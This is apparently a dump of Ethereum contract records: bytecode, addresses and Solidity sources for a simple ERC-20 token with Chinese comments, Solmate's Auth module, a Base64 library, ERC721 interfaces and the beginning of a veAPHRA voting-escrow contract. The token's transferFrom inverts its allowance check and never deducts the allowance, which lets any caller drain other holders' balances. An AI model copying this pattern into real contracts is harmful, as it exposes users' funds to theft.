79190611eae565b60405180910390a35050565b610c64610c5e610f00565b83610f72565b610c805760405162461bcd60e51b815260040161055e90612372565b6108208484848461125f565b600f546001600160a01b031690565b6060610ca682610ee3565b610cc25760405162461bcd60e51b815260040161055e906122e2565b6000610ccc611203565b90506000815111610cec5760405180602001604052806000815250610d17565b80610cf684611292565b604051602001610d07929190611e2e565b6040516020818303038152906040525b9392505050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b610d54610f00565b6001600160a01b0316610d65610aaa565b6001600160a01b031614610d8b5760405162461bcd60e51b815260040161055e90612264565b6001600160a01b038116610db15760405162461bcd60e51b815260040161055e90611f69565b600a546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600a80546001600160a01b0319166001600160a01b0392909216919091179055565b8151835114610e2e5760405162461bcd60e51b815260040161055e906124ad565b60005b835181101561082057610e93848281518110610e5d57634e487b7160e01b600052603260045260246000fd5b6020026020010151848381518110610e8557634e487b7160e01b600052603260045260246000fd5b602002602001015184610ace565b610e9c8161262c565b9050610e31565b60006001600160e01b031982166380ac58cd60e01b1480610ed457506001600160e01b03198216635b5e139f60e01b145b8061049d575061049d826113ad565b6000908152600260205260409020546001600160a01b0316151590565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610f398261094d565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610f7d82610ee3565b610f995760405162461bcd60e51b815260040161055e90612061565b6000610fa48361094d565b9050806001600160a01b0316846001600160a01b03161480610fdf5750836001600160a01b0316610fd484610537565b6001600160a01b0316145b80610fef5750610fef8185610d1e565b949350505050565b826001600160a01b031661100a8261094d565b6001600160a01b0316146110305760405162461bcd60e51b815260040161055e90612299565b6001600160a01b0382166110565760405162461bcd60e51b815260040161055e90611fe6565b6110618383836113c6565b61106c600082610f04565b6001600160a01b03831660009081526003602052604081208054600192906110959084906125ae565b90915550506001600160a01b03821660009081526003602052604081208054600192906110c3908490612582565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6001600160a01b03821661114a5760405162461bcd60e51b815260040161055e906121e3565b61115381610ee3565b156111705760405162461bcd60e51b815260040161055e90611faf565b61117c600083836113c6565b6001600160a01b03821660009081526003602052604081208054600192906111a5908490612582565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6060600b80546104b4906125f1565b61121c8383611124565b6112296000848484611444565b6106165760405162461bcd60e51b815260040161055e90611f17565b610830828260405180602001604052806000815250611212565b61126a848484610ff7565b61127684848484611444565b6108205760405162461bcd60e51b815260040161055e90611f17565b6060816112b757506040805180820190915260018152600360fc1b60208201526104a0565b8160005b81156112e157806112cb8161262c565b91506112da9050600a8361259a565b91506112bb565b60008167ffffffffffffffff81111561130a57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611334576020820181803683370190505b5090505b8415610fef576113496001836125ae565b9150611356600a86612647565b611361906030612582565b60f81b81838151811061138457634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506113a6600a8661259a565b9450611338565b6001600160e01b031981166301ffc9a760e01b14919050565b6113ce610ac8565b81106113ec5760405162461bcd60e51b815260040161055e906123c3565b6001600160a01b03831615158061141d5750600f546001600160a01b0316611412610f00565b6001600160a01b0316145b6114395760405162461bcd60e51b815260040161055e90612459565b61061683838361155f565b6000611458846001600160a01b03166115e8565b1561155457836001600160a01b031663150b7a02611474610f00565b8786866040518563ffffffff1660e01b81526004016114969493929190611e71565b602060405180830381600087803b1580156114b057600080fd5b505af19250505080156114e0575060408051601f3d908101601f191682019092526114dd91810190611d0e565b60015b61153a573d80801561150e576040519150601f19603f3d011682016040523d82523d6000602084013e611513565b606091505b5080516115325760405162461bcd60e51b815260040161055e90611f17565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610fef565b506001949350505050565b61156a838383610616565b6001600160a01b03831661158657611581816115ee565b6115a9565b816001600160a01b0316836001600160a01b0316146115a9576115a98382611632565b6001600160a01b0382166115c5576115c0816116cf565b610616565b826001600160a01b0316826001600160a01b0316146106165761061682826117a8565b3b151590565b600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6000600161163f84610991565b61164991906125ae565b60008381526007602052604090205490915080821461169c576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906116e1906001906125ae565b6000838152600960205260408120546008805493945090928490811061171757634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806008838154811061174657634e487b7160e01b600052603260045260246000fd5b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061178c57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006117b383610991565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b8280546117f8906125f1565b90600052602060002090601f01602090048101928261181a5760008555611860565b82601f106118335782800160ff19823516178555611860565b82800160010185558215611860579182015b82811115611860578235825591602001919060010190611845565b5061186c9291506118e4565b5090565b82805461187c906125f1565b90600052602060002090601f01602090048101928261189e5760008555611860565b82601f106118b757805160ff1916838001178555611860565b82800160010185558215611860579182015b828111156118605782518255916020019190600101906118c9565b5b8082111561186c57600081556001016118e5565b80356001600160a01b03811681146104a057600080fd5b600082601f830112611920578081fd5b813560206119356119308361255e565b612534565b8281528181019085830183850287018401881015611951578586fd5b855b8581101561196f57813584529284019290840190600101611953565b5090979650505050505050565b600082601f83011261198c578081fd5b813567ffffffffffffffff8111156119a6576119a6612687565b6119b9601f8201601f1916602001612534565b8181528460208386010111156119cd578283fd5b816020850160208301379081016020019190915292915050565b6000602082840312156119f8578081fd5b610d17826118f9565b60008060408385031215611a13578081fd5b611a1c836118f9565b9150611a2a602084016118f9565b90509250929050565b600080600060608486031215611a47578081fd5b611a50846118f9565b9250611a5e602085016118f9565b9150604084013567ffffffffffffffff811115611a79578182fd5b611a8586828701611910565b9150509250925092565b600080600060608486031215611aa3578283fd5b611aac846118f9565b9250611aba602085016118f9565b9150604084013590509250925092565b60008060008060808587031215611adf578081fd5b611ae8856118f9565b9350611af6602086016118f9565b925060408501359150606085013567ffffffffffffffff811115611b18578182fd5b611b248782880161197c565b91505092959194509250565b60008060408385031215611b42578182fd5b611b4b836118f9565b9150602083013567ffffffffffffffff811115611b66578182fd5b611b7285828601611910565b9150509250929050565b60008060408385031215611b8e578182fd5b611b97836118f9565b915060208301358015158114611bab578182fd5b809150509250929050565b60008060408385031215611bc8578182fd5b611bd1836118f9565b946020939093013593505050565b600080600060608486031215611bf3578081fd5b611bfc846118f9565b925060208401359150604084013567ffffffffffffffff811115611c1e578182fd5b611a858682870161197c565b600080600060608486031215611c3e578081fd5b833567ffffffffffffffff80821115611c55578283fd5b611c6187838801611910565b9450602091508186013581811115611c77578384fd5b8601601f81018813611c87578384fd5b8035611c956119308261255e565b81815284810190838601875b84811015611cca57611cb88d89843589010161197c565b84529287019290870190600101611ca1565b50909750505050604087013592505080821115611ce5578283fd5b50611a858682870161197c565b600060208284031215611d03578081fd5b8135610d178161269d565b600060208284031215611d1f578081fd5b8151610d178161269d565b60008060208385031215611d3c578182fd5b823567ffffffffffffffff80821115611d53578384fd5b818501915085601f830112611d66578384fd5b813581811115611d74578485fd5b866020828501011115611d85578485fd5b60209290920196919550909350505050565b600060208284031215611da8578081fd5b5035919050565b600080600060608486031215611dc3578081fd5b83359250602084013567ffffffffffffffff80821115611de1578283fd5b611ded8783880161197c565b93506040860135915080821115611ce5578283fd5b60008151808452611e1a8160208601602086016125c5565b601f01601f19169290920160200192915050565b60008351611e408184602088016125c5565b835190830190611e548183602088016125c5565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611ea490830184611e02565b9695505050505050565b901515815260200190565b600060208252610d176020830184611e02565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526026908201527f43656c6c3a2063616c6c6572206973206e6f74206f776e6572206e6f722061706040820152651c1c9bdd995960d21b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602a908201527f43656c6c3a20746f6b656e4964206d757374206265206c657373207468616e2060408201526918d95b1b0818dbdd5b9d60b21b606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b60208082526034908201527f43656c6c3a206f6e6c79207468652073616c6520636f6e74726163742063616e6040820152731031329036b4b73a1030903732bb903a37b5b2b760611b606082015260800190565b60208082526033908201527f43656c6c3a20746f6b656e49647320616e6420696d61676573206d75737420686040820152720c2ecca40e8d0ca40e6c2daca40d8cadccee8d606b1b606082015260800190565b90815260200190565b6000848252606060208301526125226060830185611e02565b8281036040840152611ea48185611e02565b60405181810167ffffffffffffffff8111828210171561255657612556612687565b604052919050565b600067ffffffffffffffff82111561257857612578612687565b5060209081020190565b600082198211156125955761259561265b565b500190565b6000826125a9576125a9612671565b500490565b6000828210156125c0576125c061265b565b500390565b60005b838110156125e05781810151838201526020016125c8565b838111156108205750506000910152565b60028104600182168061260557607f821691505b6020821081141561262657634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156126405761264061265b565b5060010190565b60008261265657612656612671565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146126b357600080fd5b5056fea264697066735822122047aa61edc14461ccc910f023b7ddd73449c804c1a15db83caa54a1d95177e37164736f6c63430008000033
[ 5 ]
0xf2feafca605ae55d5dba1e0a3678bba461e39bfb
pragma solidity ^0.4.20; // 定义ERC-20标准接口 contract ERC20Interface { // 代币名称 string public name; // 代币符号或者说简写 string public symbol; // 代币小数点位数,代币的最小单位 uint8 public decimals; // 代币的发行总量 uint public totalSupply; // 实现代币交易,用于给某个地址转移代币 function transfer(address to, uint tokens) public returns (bool success); // 实现代币用户之间的交易,从一个地址转移代币到另一个地址 function transferFrom(address from, address to, uint tokens) public returns (bool success); // 允许spender多次从你的账户取款,并且最多可取tokens个,主要用于某些场景下授权委托其他用户从你的账户上花费代币 function approve(address spender, uint tokens) public returns (bool success); // 查询spender允许从tokenOwner上花费的代币数量 function allowance(address tokenOwner, address spender) public view returns (uint remaining); // 代币交易时触发的事件,即调用transfer方法时触发 event Transfer(address indexed from, address indexed to, uint tokens); // 允许其他用户从你的账户上花费代币时触发的事件,即调用approve方法时触发 event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // 实现ERC-20标准接口 contract ERC20Impl is ERC20Interface { // 存储每个地址的余额(因为是public的所以会自动生成balanceOf方法) mapping (address => uint256) public balanceOf; // 存储每个地址可操作的地址及其可操作的金额 mapping (address => mapping (address => uint256)) internal allowed; // 初始化属性 constructor() public { name = "hjw"; // 定义 代币名称 symbol = "hjw"; // 代币的简写 decimals = 18; totalSupply = 313000000 * 10 ** uint256(decimals); // 代币总量 // 初始化该代币的账户会拥有所有的代币 balanceOf[msg.sender] = totalSupply; // 初始化的时候,这个代币属于谁 } function transfer(address to, uint tokens) public returns (bool success) { // 检验接收者地址是否合法 require(to != address(0)); // 检验发送者账户余额是否足够 require(balanceOf[msg.sender] >= tokens); // 检验是否会发生溢出 require(balanceOf[to] + tokens >= balanceOf[to]); // 扣除发送者账户余额 balanceOf[msg.sender] -= tokens; // 增加接收者账户余额 balanceOf[to] += tokens; // 触发相应的事件 emit Transfer(msg.sender, to, tokens); } function transferFrom(address from, address to, uint tokens) public returns (bool success) { // 检验地址是否合法 require(to != address(0) && from != address(0)); // 检验发送者账户余额是否足够 require(balanceOf[from] >= tokens); // 检验操作的金额是否是被允许的 require(allowed[from][msg.sender] <= tokens); // 检验是否会发生溢出 require(balanceOf[to] + tokens >= balanceOf[to]); // 扣除发送者账户余额 balanceOf[from] -= tokens; // 增加接收者账户余额 balanceOf[to] += tokens; // 触发相应的事件 emit Transfer(from, to, tokens); success = true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; // 触发相应的事件 emit Approval(msg.sender, spender, tokens); success = true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } }
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461009e578063095ea7b31461012e57806318160ddd1461019357806323b872dd146101be578063313ce5671461024357806370a082311461027457806395d89b41146102cb578063a9059cbb1461035b578063dd62ed3e146103c0575b600080fd5b3480156100aa57600080fd5b506100b3610437565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f35780820151818401526020810190506100d8565b50505050905090810190601f1680156101205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013a57600080fd5b50610179600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104d5565b604051808215151515815260200191505060405180910390f35b34801561019f57600080fd5b506101a86105c7565b6040518082815260200191505060405180910390f35b3480156101ca57600080fd5b50610229600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b34801561024f57600080fd5b506102586108b5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028057600080fd5b506102b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c8565b6040518082815260200191505060405180910390f35b3480156102d757600080fd5b506102e06108e0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610320578082015181840152602081019050610305565b50505050905090810190601f16801561034d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561036757600080fd5b506103a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061097e565b604051808215151515815260200191505060405180910390f35b3480156103cc57600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9d565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104cd5780601f106104a2576101008083540402835291602001916104cd565b820191906000526020600020905b8154815290600101906020018083116104b057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60035481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156106385750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b151561064357600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561069157600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115151561071c57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156107ab57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60046020528060005260406000206000915090505481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109765780601f1061094b57610100808354040283529160200191610976565b820191906000526020600020905b81548152906001019060200180831161095957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109bb57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610a0957600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515610a9857600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a392915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820429b7dfd9635ad69f3c99982b946d09b25d0e9cf20d7eeffc50d46cbe18b0eaa0029
[ 38 ]
0xf2feC13CDB46760E065DDC1DF9dA16Cb87AFD61f
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; /// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol) /// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol) abstract contract Auth { event OwnerUpdated(address indexed user, address indexed newOwner); event AuthorityUpdated(address indexed user, Authority indexed newAuthority); address public owner; Authority public authority; constructor(address _owner, Authority _authority) { owner = _owner; authority = _authority; emit OwnerUpdated(msg.sender, _owner); emit AuthorityUpdated(msg.sender, _authority); } modifier requiresAuth() { require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED"); _; } function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) { Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas. // Checking if the caller is the owner only after calling the authority saves gas in most cases, but be // aware that this makes protected functions uncallable even to the owner if the authority is out of order. return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner; } function setAuthority(Authority newAuthority) public virtual { // We check if the caller is the owner first because we want to ensure they can // always swap out the authority even if it's reverting or using up a lot of gas. require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig)); authority = newAuthority; emit AuthorityUpdated(msg.sender, newAuthority); } function setOwner(address newOwner) public virtual requiresAuth { owner = newOwner; emit OwnerUpdated(msg.sender, newOwner); } } /// @notice A generic interface for a contract which provides authorization data to an Auth instance. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol) /// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol) interface Authority { function canCall( address user, address target, bytes4 functionSig ) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import {Auth, Authority} from "@rari-capital/solmate/src/auth/Auth.sol"; /** @title Voting Escrow @author Curve Finance @license MIT @notice Votes have a weight depending on time, so that users are committed to the future of (whatever they are voting for) @dev Vote weight decays linearly over time. Lock time cannot be more than `MAXTIME` (4 years). # Voting escrow to have time-weighted votes # Votes have a weight depending on time, so that users are committed # to the future of (whatever they are voting for). # The weight in this implementation is linear, and lock cannot be more than maxtime: # w ^ # 1 + / # | / # | / # | / # |/ # 0 +--------+------> time # maxtime (4 years?) */ /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint tokenId, bytes calldata data ) external; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint tokenId) external view returns (string memory); } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint amount ) external returns (bool); } struct Point { int128 bias; int128 slope; // # -dweight / dt uint ts; uint blk; // block } /* We cannot really do block numbers per se b/c slope is per time, not per block * and per block could be fairly bad b/c Ethereum changes blocktimes. * What we can do is to extrapolate ***At functions */ struct LockedBalance { int128 amount; uint end; } contract veAPHRA is Auth, IERC721, IERC721Metadata { enum DepositType { DEPOSIT_FOR_TYPE, CREATE_LOCK_TYPE, INCREASE_LOCK_AMOUNT, INCREASE_UNLOCK_TIME, MERGE_TYPE } event Deposit( address indexed provider, uint tokenId, uint value, uint indexed locktime, DepositType deposit_type, uint ts ); event Withdraw(address indexed provider, uint tokenId, uint value, uint ts); event Supply(uint prevSupply, uint supply); uint internal constant WEEK = 1 weeks; uint internal constant MAXTIME = 2 * 365 * 86400; int128 internal constant iMAXTIME = 2 * 365 * 86400; uint internal constant MULTIPLIER = 1 ether; address immutable public token; uint public supply; mapping(uint => LockedBalance) public locked; mapping(uint => uint) public ownership_change; uint public epoch; mapping(uint => Point) public point_history; // epoch -> unsigned point mapping(uint => Point[1000000000]) public user_point_history; // user -> 